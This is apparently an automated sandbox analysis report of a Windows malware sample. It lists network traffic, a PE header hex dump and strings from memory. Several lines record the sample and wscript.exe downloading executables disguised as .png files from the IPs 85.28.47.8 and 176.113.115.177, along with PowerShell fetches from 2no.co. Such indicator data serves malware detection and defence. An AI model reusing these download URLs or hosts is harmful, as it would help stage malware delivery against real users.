00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 10 ae 00 98 01 00 00 00 00 00 00 00 00 00 00 c8 51 ac 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 51 ac 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 53 00 00 10 00 00 00 0c 52 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 66 a3 01 00 00 e0 53 00 00 a4 01 00 00 1c 52 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 55 00 00 02 00 00 00 c0 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 37 00 00 a0 55 00 00 02 00 00 00 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 7a 64 7a 74 63 78 70 00 c0 20 00 00 40 8d 00 00 b4 20 00 00 c4 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 70 70 6d 62 73 61 62 00 10 00 00 00 00 ae 00 00 02 00 00 00 78 74 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 70 64 61 74 61 00 49 00 10 00 00 00 10 ae 00 00 02 00 00 00 7a 74 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      Source: global trafficTCP traffic: 192.168.2.6:49720 -> 176.113.115.177:4405
                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKContent-Type: image/pngLast-Modified: Fri, 15 Mar 2024 16:30:30 GMTAccept-Ranges: bytesETag: "e0336718f676da1:0"Server: Microsoft-IIS/10.0Date: Thu, 04 Jul 2024 09:16:14 GMTContent-Length: 7633920Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 00 ae 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 ae 00 00 04 00 00 d8 97 74 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 10 ae 00 98 01 00 00 00 00 00 00 00 00 00 00 c8 51 ac 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 51 ac 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 53 00 00 10 00 00 00 0c 52 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 66 a3 01 00 00 e0 53 00 00 a4 01 00 00 1c 52 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 55 00 00 02 00 00 00 c0 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 37 00 00 a0 55 00 00 02 00 00 00 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 7a 64 7a 74 63 78 70 00 c0 20 00 00 40 8d 00 00 b4 20 00 00 c4 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 70 70 6d 62 73 61 62 00 10 00 00 00 00 ae 00 00 02 00 00 00 78 74 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 70 64 61 74 61 00 49 00 10 00 00 00 10 ae 00 00 02 00 00 00 7a 74 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      Source: global trafficHTTP traffic detected: GET /x/L.png HTTP/1.1Host: 85.28.47.8Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /x/M.png HTTP/1.1Host: 85.28.47.8Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /S.png HTTP/1.1Host: 85.28.47.8Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /0x1.png HTTP/1.1Host: 176.113.115.177Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /x/5.png HTTP/1.1Host: 176.113.115.177
                      Source: global trafficHTTP traffic detected: GET /x/MIN.png HTTP/1.1Host: 85.28.47.8Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /x/5.png HTTP/1.1Host: 176.113.115.177Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /x/5.png HTTP/1.1Host: 176.113.115.177Connection: Keep-Alive
                      Source: Joe Sandbox ViewIP Address: 104.17.247.203 104.17.247.203
                      Source: Joe Sandbox ViewIP Address: 88.212.202.52 88.212.202.52
                      Source: Joe Sandbox ViewIP Address: 172.67.149.76 172.67.149.76
                      Source: Joe Sandbox ViewASN Name: GES-ASRU GES-ASRU
                      Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                      Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
                      Source: global trafficHTTP traffic detected: GET /XgW3f.gif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 2no.coConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /XgzVd.gif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 2no.coConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /leaflet@1.7.1/dist/leaflet.js HTTP/1.1Accept: */*Accept-Language: en-CHOrigin: about:Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: unpkg.comConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /leaflet@1.7.1/dist/leaflet.css HTTP/1.1Accept: */*Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: unpkg.comConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /hit?t38.6;r;s1280*1024*24;uhttps%3A//2no.co/redirect-8;hBranded%20Short%20Domain;0.05738304404150585 HTTP/1.1Accept: */*Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: counter.yadro.ruConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /hit?q;t38.6;r;s1280*1024*24;uhttps%3A//2no.co/redirect-8;hBranded%20Short%20Domain;0.05738304404150585 HTTP/1.1Accept: */*Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: counter.yadro.ruConnection: Keep-AliveCookie: FTID=1cXcXe3FoV8q1cXcXe003CQ7
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 85.28.47.8
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: unknownTCP traffic detected without corresponding DNS query: 176.113.115.177
                      Source: global trafficHTTP traffic detected: GET /XgW3f.gif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 2no.coConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /XgzVd.gif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 2no.coConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /leaflet@1.7.1/dist/leaflet.js HTTP/1.1Accept: */*Accept-Language: en-CHOrigin: about:Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: unpkg.comConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /leaflet@1.7.1/dist/leaflet.css HTTP/1.1Accept: */*Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: unpkg.comConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /hit?t38.6;r;s1280*1024*24;uhttps%3A//2no.co/redirect-8;hBranded%20Short%20Domain;0.05738304404150585 HTTP/1.1Accept: */*Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: counter.yadro.ruConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /hit?q;t38.6;r;s1280*1024*24;uhttps%3A//2no.co/redirect-8;hBranded%20Short%20Domain;0.05738304404150585 HTTP/1.1Accept: */*Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: counter.yadro.ruConnection: Keep-AliveCookie: FTID=1cXcXe3FoV8q1cXcXe003CQ7
                      Source: global trafficHTTP traffic detected: GET /x/L.png HTTP/1.1Host: 85.28.47.8Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /x/M.png HTTP/1.1Host: 85.28.47.8Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /S.png HTTP/1.1Host: 85.28.47.8Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /0x1.png HTTP/1.1Host: 176.113.115.177Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /x/5.png HTTP/1.1Host: 176.113.115.177
                      Source: global trafficHTTP traffic detected: GET /x/MIN.png HTTP/1.1Host: 85.28.47.8Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /x/5.png HTTP/1.1Host: 176.113.115.177Connection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /x/5.png HTTP/1.1Host: 176.113.115.177Connection: Keep-Alive
                      Source: global trafficDNS traffic detected: DNS query: 2no.co
                      Source: global trafficDNS traffic detected: DNS query: unpkg.com
                      Source: global trafficDNS traffic detected: DNS query: counter.yadro.ru
                      Source: wscript.exe, 0000001C.00000002.2345956918.000001F2B6A49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://176.113.115.177/x/5.png
                      Source: wscript.exe, 00000010.00000002.2261480334.000001BCC580A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.2260904325.000001BCC5809000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://176.113.115.177/x/5.png(Q
                      Source: wscript.exe, 00000010.00000002.2261496025.000001BCC5834000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.2260572512.000001BCC581E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.2261076076.000001BCC5834000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://176.113.115.177/x/5.pngm;C:
                      Source: wscript.exe, 0000001C.00000002.2345956918.000001F2B6A18000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://176.113.115.177/x/5.pngme
                      Source: file.exe, 00000000.00000002.2124854737.00000000004FF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://85.28.47.8/S.png
                      Source: file.exe, 00000000.00000002.2124777316.00000000004D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123514575.00000000004D3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://85.28.47.8/S.pngg
                      Source: file.exe, file.exe, 00000000.00000002.2124777316.00000000004D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123514575.00000000004D3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://85.28.47.8/x/L.png
                      Source: file.exe, 00000000.00000002.2124537762.0000000000401000.00000020.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.2115779443.0000000000401000.00000020.00000001.01000000.00000003.sdmpString found in binary or memory: http://85.28.47.8/x/L.png2http://85.28.47.8/x/M.png.http://85.28.47.8/S.png8
                      Source: file.exe, 00000000.00000002.2124777316.00000000004D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123514575.00000000004D3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://85.28.47.8/x/L.pngs
                      Source: file.exeString found in binary or memory: http://85.28.47.8/x/M.png
                      Source: file.exe, 00000000.00000002.2124777316.00000000004BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://85.28.47.8/x/M.pngors;
                      Source: lsass.exe, 0000003A.00000000.2369747054.000002D6F066E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
                      Source: lsass.exe, 0000003A.00000000.2370985116.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3428989862.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
                      Source: lsass.exe, 0000003A.00000000.2370550462.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369975587.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
                      Source: lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370389745.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
                      Source: lsass.exe, 0000003A.00000002.3427436623.000002D6F0C46000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369747054.000002D6F066E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369975587.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370389745.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
                      Source: lsass.exe, 0000003A.00000000.2370985116.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3428989862.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
                      Source: lsass.exe, 0000003A.00000000.2369747054.000002D6F066E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
                      Source: lsass.exe, 0000003A.00000000.2370985116.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3428989862.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
                      Source: lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370389745.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
                      Source: lsass.exe, 0000003A.00000000.2370550462.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369975587.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
                      Source: lsass.exe, 0000003A.00000000.2370985116.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3428989862.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
                      Source: lsass.exe, 0000003A.00000002.3427436623.000002D6F0C46000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369747054.000002D6F066E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369975587.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370389745.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
                      Source: lsass.exe, 0000003A.00000000.2369747054.000002D6F066E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
                      Source: lsass.exe, 0000003A.00000000.2370550462.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369975587.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
                      Source: lsass.exe, 0000003A.00000000.2370985116.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3428989862.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
                      Source: lsass.exe, 0000003A.00000002.3427436623.000002D6F0C46000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369747054.000002D6F066E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369975587.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370389745.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0~
                      Source: lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
                      Source: lsass.exe, 0000003A.00000003.3321128489.000002D6F0C02000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3427436623.000002D6F0C06000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369975587.000002D6F0C00000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
                      Source: lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
                      Source: lsass.exe, 0000003A.00000002.3426513703.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369704917.000002D6F064E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
                      Source: lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
                      Source: svchost.exe, 00000019.00000003.2376760833.0000021F63302000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
